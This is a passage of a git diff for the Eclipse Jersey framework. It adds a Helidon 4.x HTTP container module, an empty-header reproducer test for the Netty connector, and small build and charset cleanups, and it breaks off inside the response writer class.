+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedHashMap;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.core.Response;
+import java.util.Collections;
+import java.util.concurrent.ExecutionException;
+
+/* Bug 5836 reproducer */
+public class EmptyHeaderTest extends JerseyTest {
+
+    public static void main(String[] args) throws ExecutionException, InterruptedException {
+        new EmptyHeaderTest().testEmptyHeaders();
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig().register(new EmptyHeaderTestResource());
+    }
+
+    @Test
+    public void testEmptyHeaders() throws ExecutionException, InterruptedException {
+        MultivaluedMap<String, Object> jersey2Headers = new MultivaluedHashMap();
+        jersey2Headers.put("", Collections.singletonList("sss"));
+
+        Entity mData = Entity.entity("{\"dd\":\"ddd\"}", MediaType.APPLICATION_JSON_TYPE);
+
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(new NettyConnectorProvider());
+        try {
+            Response r = ClientBuilder.newBuilder()
+                    .withConfig(config)
+                    .build()
+                    .target(target().getUri())
+                    .request()
+                    .headers(jersey2Headers)
+                    .post(mData);
+            Assertions.fail("Processing Exception not thrown for empty header name");
+        } catch (ProcessingException processingException) {
+            System.out.println(processingException.getMessage());
+        }
+    }
+
+    @Path("")
+    private static class EmptyHeaderTestResource {
+        @GET
+        public Response ok() {
+            return Response.ok().build();
+        }
+    }
+}
diff --git a/connectors/pom.xml b/connectors/pom.xml
index 975c614..751659a 100644
--- a/connectors/pom.xml
+++ b/connectors/pom.xml
@@ -79,16 +79,4 @@
         </dependency>
     </dependencies>
 
-    <profiles>
-        <profile>
-            <id>HelidonConnector</id>
-            <!-- TODO: activate after Helidon is jakartified -->
-            <!--<activation>
-                <jdk>11</jdk>
-            </activation>-->
-            <modules>
-                <module>helidon-connector</module>
-            </modules>
-        </profile>
-    </profiles>
 </project>
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java
index 11d74a6..076ecba 100644
--- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,6 +18,7 @@
 
 import java.io.IOException;
 import java.net.URI;
+import java.nio.charset.StandardCharsets;
 import java.util.concurrent.ThreadFactory;
 
 import jakarta.ws.rs.ProcessingException;
@@ -39,7 +40,6 @@
 import org.glassfish.grizzly.http.server.NetworkListener;
 import org.glassfish.grizzly.http.server.ServerConfiguration;
 import org.glassfish.grizzly.ssl.SSLEngineConfigurator;
-import org.glassfish.grizzly.utils.Charsets;
 
 /**
  * Factory for creating Grizzly Http Server.
@@ -321,7 +321,7 @@
         }
 
         config.setPassTraceRequest(true);
-        config.setDefaultQueryEncoding(Charsets.UTF8_CHARSET);
+        config.setDefaultQueryEncoding(StandardCharsets.UTF_8);
 
         if (start) {
             try {
diff --git a/containers/grizzly2-servlet/src/main/java/module-info.java b/containers/grizzly2-servlet/src/main/java/module-info.java
index 229f2ac..84600c5 100644
--- a/containers/grizzly2-servlet/src/main/java/module-info.java
+++ b/containers/grizzly2-servlet/src/main/java/module-info.java
@@ -23,7 +23,7 @@
 
     requires org.glassfish.jersey.core.common;
     requires org.glassfish.jersey.core.server;
-    requires org.glassfish.jersey.container.servlet.core;
+    requires org.glassfish.jersey.container.servlet;
     requires org.glassfish.jersey.container.grizzly2.http;
 
     exports org.glassfish.jersey.grizzly2.servlet;
diff --git a/containers/helidon/pom.xml b/containers/helidon/pom.xml
new file mode 100644
index 0000000..4d27311
--- /dev/null
+++ b/containers/helidon/pom.xml
@@ -0,0 +1,103 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.containers</groupId>
+        <version>4.0.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>jersey-container-helidon-http</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-container-helidon</name>
+
+    <description>Helidon (4.x) HTTP Container</description>
+
+     <dependencies>
+        <dependency>
+            <groupId>jakarta.inject</groupId>
+            <artifactId>jakarta.inject-api</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.activation</groupId>
+            <artifactId>jakarta.activation-api</artifactId>
+            <scope>test</scope>
+        </dependency>
+         <dependency>
+             <groupId>io.helidon.webserver</groupId>
+             <artifactId>helidon-webserver</artifactId>
+             <version>${helidon.container.version}</version>
+         </dependency>
+        <dependency>
+            <groupId>io.helidon.tracing</groupId>
+            <artifactId>helidon-tracing</artifactId>
+            <version>${helidon.container.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>io.helidon.http</groupId>
+            <artifactId>helidon-http</artifactId>
+            <version>${helidon.container.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.slf4j</groupId>
+            <artifactId>slf4j-api</artifactId>
+            <version>${slf4j.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.servlet</groupId>
+            <artifactId>jakarta.servlet-api</artifactId>
+            <scope>provided</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <scope>test</scope>
+        </dependency>
+         <dependency>
+             <groupId>org.apache.httpcomponents.client5</groupId>
+             <artifactId>httpclient5</artifactId>
+             <scope>test</scope>
+         </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>com.sun.istack</groupId>
+                <artifactId>istack-commons-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>build-helper-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+        </plugins>
+
+        <resources>
+            <resource>
+                <directory>${basedir}/src/main/resources</directory>
+                <filtering>true</filtering>
+            </resource>
+        </resources>
+    </build>
+</project>
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainer.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainer.java
new file mode 100644
index 0000000..20295d6
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainer.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.common.context.Context;
+import io.helidon.common.tls.Tls;
+import io.helidon.webserver.WebServer;
+import io.helidon.webserver.WebServerConfig;
+import jakarta.ws.rs.core.Application;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.Container;
+
+/**
+ * {@link Container} running on the Helidon {@link WebServer} core, supporting Jersey routing
+ *
+ * @since 3.1.11
+ */
+public final class HelidonHttpContainer implements Container, WebServer {
+
+    private WebServer webServer;
+
+    private ApplicationHandler applicationHandler;
+
+    private HelidonJerseyBridge bridge;
+
+    HelidonHttpContainer(Application application, HelidonJerseyBridge bridge) {
+        this.applicationHandler = new ApplicationHandler(application,
+                new HelidonHttpContainerBinder(), bridge.getParentContext());
+        this.bridge = bridge;
+        webServer = bridge.getBuilder().build();
+        bridge.setContainer(this);
+    }
+
+    @Override
+    public ResourceConfig getConfiguration() {
+        return applicationHandler.getConfiguration();
+    }
+
+    @Override
+    public ApplicationHandler getApplicationHandler() {
+        return applicationHandler;
+    }
+
+    @Override
+    public void reload() {
+        reload(new ResourceConfig(getConfiguration()));
+    }
+
+    @Override
+    public void reload(ResourceConfig configuration) {
+        //Helidon container does not support reload
+        throw new IllegalStateException(LocalizationMessages.RELOAD_NOT_SUPPORTED());
+    }
+
+    @Override
+    public WebServer start() {
+        webServer.start();
+        return this;
+    }
+
+    @Override
+    public WebServer stop() {
+        webServer.stop();
+        return this;
+    }
+
+    @Override
+    public boolean isRunning() {
+        return webServer.isRunning();
+    }
+
+    @Override
+    public int port(String socketName) {
+        return webServer.port(socketName);
+    }
+
+    @Override
+    public Context context() {
+        return webServer.context();
+    }
+
+    @Override
+    public boolean hasTls(String socketName) {
+        return webServer.hasTls(socketName);
+    }
+
+    @Override
+    public void reloadTls(String socketName, Tls tls) {
+        webServer.reloadTls(socketName, tls);
+    }
+
+    @Override
+    public WebServerConfig prototype() {
+        return webServer.prototype();
+    }
+}
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBinder.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBinder.java
new file mode 100644
index 0000000..1c2a15a
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBinder.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.webserver.http.ServerRequest;
+import io.helidon.webserver.http.ServerResponse;
+import jakarta.inject.Inject;
+import jakarta.inject.Provider;
+import jakarta.ws.rs.core.GenericType;
+import org.glassfish.jersey.innate.inject.BlindBinder;
+import org.glassfish.jersey.internal.inject.ReferencingFactory;
+import org.glassfish.jersey.internal.util.collection.Ref;
+import org.glassfish.jersey.process.internal.RequestScoped;
+
+class HelidonHttpContainerBinder extends BlindBinder {
+    @Override
+    protected void configure() {
+        bindFactory(WebServerRequestReferencingFactory.class).to(ServerRequest.class)
+                .proxy(true).proxyForSameScope(false)
+                .in(RequestScoped.class);
+        bindFactory(ReferencingFactory.<ServerRequest>referenceFactory()).to(new GenericType<Ref<ServerRequest>>() { })
+                .in(RequestScoped.class);
+
+        bindFactory(WebServerResponseReferencingFactory.class).to(ServerResponse.class)
+                .proxy(true).proxyForSameScope(false)
+                .in(RequestScoped.class);
+        bindFactory(ReferencingFactory.<ServerResponse>referenceFactory()).to(new GenericType<Ref<ServerResponse>>() { })
+                .in(RequestScoped.class);
+    }
+
+    private static class WebServerRequestReferencingFactory extends ReferencingFactory<ServerRequest> {
+
+        @Inject
+        WebServerRequestReferencingFactory(final Provider<Ref<ServerRequest>> referenceFactory) {
+            super(referenceFactory);
+        }
+    }
+
+    private static class WebServerResponseReferencingFactory extends ReferencingFactory<ServerResponse> {
+
+        @Inject
+        WebServerResponseReferencingFactory(final Provider<Ref<ServerResponse>> referenceFactory) {
+            super(referenceFactory);
+        }
+    }
+}
+
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java
new file mode 100644
index 0000000..469baf7
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java
@@ -0,0 +1,202 @@
+/*
+ *  Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ *  This program and the accompanying materials are made available under the
+ *  terms of the Eclipse Public License v. 2.0, which is available at
+ *  http://www.eclipse.org/legal/epl-2.0.
+ *
+ *  This Source Code may also be made available under the following Secondary
+ *  Licenses when the conditions for such availability set forth in the
+ *  Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ *  version 2 with the GNU Classpath Exception, which is available at
+ *  https://www.gnu.org/software/classpath/license.html.
+ *
+ *  SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ *
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.common.tls.Tls;
+import io.helidon.common.tls.TlsConfig;
+import io.helidon.config.Config;
+import io.helidon.webserver.WebServerConfig;
+import io.helidon.webserver.http.HttpRouting;
+import jakarta.ws.rs.core.Application;
+import org.glassfish.jersey.server.spi.Container;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLParameters;
+import java.net.URI;
+
+/**
+ * Helidon container builder.
+ * Shall be used to create any instance of the {@link HelidonHttpContainer}
+ *
+ * gives access to the inner {@link WebServerConfig.Builder} which provides possibility of better fine-tune
+ * of the container.
+ *
+ * @since 3.1.11
+ */
+public class HelidonHttpContainerBuilder {
+
+    private URI baseUri;
+
+    private Application application;
+
+    private String path;
+
+    private Tls tls;
+
+    private final WebServerConfig.Builder webServerBuilder;
+
+    private final HelidonJerseyBridge bridge;
+
+    private SSLParameters sslParameters;
+
+    private SSLContext sslContext;
+
+    private HelidonHttpContainerBuilder() {
+        bridge =  new HelidonJerseyBridge();
+        webServerBuilder = bridge.getBuilder();
+    }
+
+    public WebServerConfig.Builder helidonBuilder() {
+        return webServerBuilder;
+    }
+
+
+    public static HelidonHttpContainerBuilder builder() {
+        return new HelidonHttpContainerBuilder();
+    }
+
+    public HelidonHttpContainerBuilder uri(URI baseUri) {
+        this.baseUri = baseUri;
+        return this;
+    }
+
+    public URI uri() {
+        return this.baseUri;
+    }
+
+    public HelidonHttpContainerBuilder application(Application application) {
+        this.application = application;
+        return this;
+    }
+
+    public Application application() {
+        return this.application;
+    }
+
+    public HelidonHttpContainerBuilder path(String path) {
+        this.path = path;
+        return this;
+    }
+
+    public String path() {
+        return this.path;
+    }
+
+    public HelidonHttpContainerBuilder sslParameters(SSLParameters sslParameters) {
+        this.sslParameters = sslParameters;
+        return this;
+    }
+
+    public SSLParameters sslParameters() {
+        return this.sslParameters;
+    }
+
+    public HelidonHttpContainerBuilder sslContext(SSLContext sslContext) {
+        this.sslContext = sslContext;
+        return this;
+    }
+
+    public SSLContext sslContext() {
+        return this.sslContext;
+    }
+
+    public HelidonHttpContainerBuilder port(int port) {
+        webServerBuilder.port(port);
+        return this;
+    }
+
+    public HelidonHttpContainerBuilder host(String host) {
+        webServerBuilder.host(host);
+        return this;
+    }
+
+    public HelidonHttpContainerBuilder parentContext(Object parentContext) {
+        bridge.setParentContext(parentContext);
+        return this;
+    }
+
+    public Object parentContext() {
+        return bridge.getParentContext();
+    }
+
+    public HelidonHttpContainer build() {
+        configureBaseUri();
+        webServerBuilder.config(Config.global())
+                        .routing(configureRouting());
+        this.tls = configureTls();
+        if (this.tls != null) {
+            webServerBuilder.tls(this.tls);
+        }
+        return new HelidonHttpContainer(application, bridge);
+    }
+
+    private TlsConfig.Builder addSSLParameterss(TlsConfig.Builder builder) {
+        if (sslParameters != null) {
+            return builder.sslParameters(sslParameters);
+        }
+        return builder;
+    }
+
+    private TlsConfig.Builder addSSLContext(TlsConfig.Builder builder) {
+        if (sslContext != null) {
+            return builder.sslContext(sslContext);
+        }
+        return builder;
+    }
+
+    private Tls configureTls() {
+        if (this.tls == null
+                && (sslParameters != null || sslContext != null)) {
+            this.tls = addSSLParameterss(
+                    addSSLContext(
+                            TlsConfig.builder())
+            ).build();
+        }
+        return this.tls;
+    }
+
+    private HttpRouting.Builder configureRouting() {
+
+        final HttpRouting.Builder builder = HttpRouting.builder();
+        final HelidonJerseyRoutingService support = HelidonJerseyRoutingService.create(this.bridge);
+        if (path != null) {
+            builder.register(path, support);
+        } else if (baseUri != null && baseUri.getPath() != null) {
+            builder.register(baseUri.getPath(), support);
+        } else {
+            builder.register(support);
+        }
+
+        return builder;
+    }
+
+    private void configureBaseUri() {
+        if (baseUri != null) {
+            webServerBuilder
+                    .host(baseUri.getHost())
+                    .port(baseUri.getPort());
+        } else {
+            if (webServerBuilder.port() < 0) {
+                webServerBuilder.port(Container.DEFAULT_HTTP_PORT);
+            }
+
+        }
+
+    }
+
+}
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerProvider.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerProvider.java
new file mode 100644
index 0000000..7c57739
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerProvider.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.webserver.WebServer;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+import org.glassfish.jersey.server.spi.ContainerProvider;
+
+public class HelidonHttpContainerProvider implements ContainerProvider {
+    @Override
+    public <T> T createContainer(Class<T> type, Application application) throws ProcessingException {
+        if (type != WebServer.class && type != HelidonHttpContainer.class) {
+            return null;
+        }
+        return type.cast(new HelidonHttpContainer(application, new HelidonJerseyBridge()));
+    }
+}
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyBridge.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyBridge.java
new file mode 100644
index 0000000..46e6b3d
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyBridge.java
@@ -0,0 +1,52 @@
+/*
+ *  Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ *  This program and the accompanying materials are made available under the
+ *  terms of the Eclipse Public License v. 2.0, which is available at
+ *  http://www.eclipse.org/legal/epl-2.0.
+ *
+ *  This Source Code may also be made available under the following Secondary
+ *  Licenses when the conditions for such availability set forth in the
+ *  Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ *  version 2 with the GNU Classpath Exception, which is available at
+ *  https://www.gnu.org/software/classpath/license.html.
+ *
+ *  SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ *
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.webserver.WebServerConfig;
+import org.glassfish.jersey.server.spi.Container;
+
+/**
+ * POJO utility class which provides backwards connectivity from the Jersey Routing service to the Container
+ */
+class HelidonJerseyBridge {
+    private final WebServerConfig.Builder builder = WebServerConfig.builder();
+
+    private Container container;
+
+    private Object parentContext;
+
+    public WebServerConfig.Builder getBuilder() {
+        return builder;
+    }
+
+    public Container getContainer() {
+        return container;
+    }
+
+    public void setContainer(Container container) {
+        this.container = container;
+    }
+
+    public Object getParentContext() {
+        return parentContext;
+    }
+
+    public void setParentContext(Object parentContext) {
+        this.parentContext = parentContext;
+    }
+}
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java
new file mode 100644
index 0000000..eed3160
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java
@@ -0,0 +1,345 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+
+import io.helidon.common.context.Context;
+import io.helidon.common.context.Contexts;
+import io.helidon.common.uri.UriInfo;
+import io.helidon.common.uri.UriPath;
+import io.helidon.http.Header;
+import io.helidon.http.HeaderNames;
+import io.helidon.http.HeaderValues;
+import io.helidon.http.InternalServerException;
+import io.helidon.http.Status;
+import io.helidon.webserver.KeyPerformanceIndicatorSupport;
+import io.helidon.webserver.http.HttpRules;
+import io.helidon.webserver.http.HttpService;
+import io.helidon.webserver.http.RoutingResponse;
+import io.helidon.webserver.http.ServerRequest;
+import io.helidon.webserver.http.ServerResponse;
+import jakarta.ws.rs.NotFoundException;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.SecurityContext;
+import org.glassfish.jersey.internal.MapPropertiesDelegate;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.util.collection.Ref;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ContainerException;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.ContainerResponseWriter;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.UncheckedIOException;
+import java.lang.reflect.Type;
+import java.net.URI;
+import java.security.Principal;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Set;
+import java.util.WeakHashMap;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Supplier;
+
+/**
+ *
+ * The code is inspired by the Helidon 3.x JerseySupport class and the Helidon 4.x JaxRsService class
+ * Current class is a combination of those 2 classes adopted for Jersey needs
+ *
+ */
+class HelidonJerseyRoutingService implements HttpService {
+
+    private static final System.Logger LOGGER = System.getLogger(HelidonJerseyRoutingService.class.getName());
+    private static final Type REQUEST_TYPE = (new GenericType<Ref<ServerRequest>>() { }).getType();
+    private static final Type RESPONSE_TYPE = (new GenericType<Ref<ServerResponse>>() { }).getType();
+    private final HelidonJerseyBridge bridge;
+    private HelidonJerseyRoutingService(HelidonJerseyBridge bridge) {
+        this.bridge = bridge;
+    }
+
+    static HelidonJerseyRoutingService create(HelidonJerseyBridge bridge) {
+        return new HelidonJerseyRoutingService(bridge);
+    }
+
+    private static String basePath(UriPath path) {
+        final String reqPath = path.path();
+        final String absPath = path.absolute().path();
+        final String basePath = absPath.substring(0, absPath.length() - reqPath.length() + 1);
+
+        if (absPath.isEmpty() || basePath.isEmpty()) {
+            return "/";
+        } else if (basePath.charAt(basePath.length() - 1) != '/') {
+            return basePath + "/";
+        } else {
+            return basePath;
+        }
+    }
+
+    private ApplicationHandler appHandler() {
+        return bridge.getContainer().getApplicationHandler();
+    }
+
+    private Container container() {
+        return bridge.getContainer();
+    }
+
+    @Override
+    public void routing(HttpRules rules) {
+        rules.any(this::handle);
+    }
+
+    @Override
+    public void beforeStart() {
+        appHandler().onStartup(container());
+    }
+
+    @Override
+    public void afterStop() {
+        try {
+            final InjectionManager ij = appHandler().getInjectionManager();
+            appHandler().onShutdown(bridge.getContainer());
+        } catch (Exception e) {
+            if (LOGGER.isLoggable(System.Logger.Level.DEBUG)) {
+                LOGGER.log(System.Logger.Level.DEBUG, "Exception during shutdown of Jersey", e);
+            }
+            LOGGER.log(System.Logger.Level.WARNING, "Exception while shutting down Jersey's application handler "
+                    + e.getMessage());
+        }
+    }
+
+    private void handle(final ServerRequest req, final ServerResponse res) {
+        final Context context = req.context();
+
+        // make these available in context for ServerCdiExtension
+        context.supply(ServerRequest.class, () -> req);
+        context.supply(ServerResponse.class, () -> res);
+
+        // call doHandle in active context
+        Contexts.runInContext(context, () -> doHandle(context, req, res));
+    }
+
+    private void doHandle(final Context ctx, final ServerRequest req, final ServerResponse res) {
+        final BaseUriRequestUri uris = BaseUriRequestUri.resolve(req);
+        final ContainerRequest requestContext = new ContainerRequest(uris.baseUri,
+                uris.requestUri,
+                req.prologue().method().text(),
+                new HelidonMpSecurityContext(),
+                new MapPropertiesDelegate(),
+                container().getConfiguration());
+        /*
+         MP CORS supports needs a way to obtain the UriInfo from the request context.
+         */
+        requestContext.setProperty(UriInfo.class.getName(), ((Supplier<UriInfo>) req::requestedUri));
+
+        for (final Header header : req.headers()) {
+            requestContext.headers(header.name(),
+                    header.allValues());
+        }
+
+        final JaxRsResponseWriter writer = new JaxRsResponseWriter(res);
+        requestContext.setWriter(writer);
+        requestContext.setEntityStream(req.content().inputStream());
+        requestContext.setProperty("io.helidon.jaxrs.remote-host", req.remotePeer().host());
+        requestContext.setProperty("io.helidon.jaxrs.remote-port", req.remotePeer().port());
+        requestContext.setRequestScopedInitializer(ij -> {
+            ij.<Ref<ServerRequest>>getInstance(REQUEST_TYPE).set(req);
+            ij.<Ref<ServerResponse>>getInstance(RESPONSE_TYPE).set(res);
+        });
+
+        final Optional<KeyPerformanceIndicatorSupport.DeferrableRequestContext> kpiMetricsContext =
+                req.context().get(KeyPerformanceIndicatorSupport.DeferrableRequestContext.class);
+        if (LOGGER.isLoggable(System.Logger.Level.TRACE)) {
+            LOGGER.log(System.Logger.Level.TRACE, "[" + req.serverSocketId()
+                    + " " + req.socketId() + "] Handling in Jersey started");
+        }
+
+        ctx.register(container().getConfiguration());
+
+        try {
+            kpiMetricsContext.ifPresent(KeyPerformanceIndicatorSupport.DeferrableRequestContext::requestProcessingStarted);
+            appHandler().handle(requestContext);
+            writer.await();
+            if (res.status() == Status.NOT_FOUND_404 && requestContext.getUriInfo().getMatchedResourceMethod() == null) {
+                // Jersey will not throw an exception, it will complete the request - but we must
+                // continue looking for the next route
+                // this is a tricky piece of code - the next can only be called if reset was successful
+                // reset may be impossible if data has already been written over the network
+                if (res instanceof RoutingResponse) {
+                    final RoutingResponse routing = (RoutingResponse) res;
+                    if (routing.reset()) {
+                        res.status(Status.OK_200);
+                        routing.next();
+                    }
+                }
+            }
+        } catch (UncheckedIOException e) {
+            throw e;
+        } catch (io.helidon.http.NotFoundException | NotFoundException e) {
+            // continue execution, maybe there is a non-JAX-RS route (such as static content)
+            res.next();
+        } catch (Exception e) {
+            throw new InternalServerException("Internal exception in JAX-RS processing", e);
+        }
+    }
+
+    private static class HelidonMpSecurityContext implements SecurityContext {
+        @Override
+        public Principal getUserPrincipal() {
+            return null;
+        }
+
+        @Override
+        public boolean isUserInRole(String role) {
+            return false;
+        }
+
+        @Override
+        public boolean isSecure() {
+            return false;
+        }
+
+        @Override
+        public String getAuthenticationScheme() {
+            return null;
+        }
+    }
+
+    private static class JaxRsResponseWriter implements ContainerResponseWriter {
+        private final CountDownLatch cdl = new CountDownLatch(1);
+        private final ServerResponse res;
+        private OutputStream outputStream;
+
+        private JaxRsResponseWriter(ServerResponse res) {
+            this.res = res;
+        }
+
+        @Override
+        public OutputStream writeResponseStatusAndHeaders(long contentLengthParam,
+                                                          ContainerResponse containerResponse) throws ContainerException {
+            long contentLength = contentLengthParam;
+            if (contentLength <= 0) {
+                String headerString = containerResponse.getHeaderString("Content-Length");
+                if (headerString != null) {
+                    contentLength = Long.parseLong(headerString);
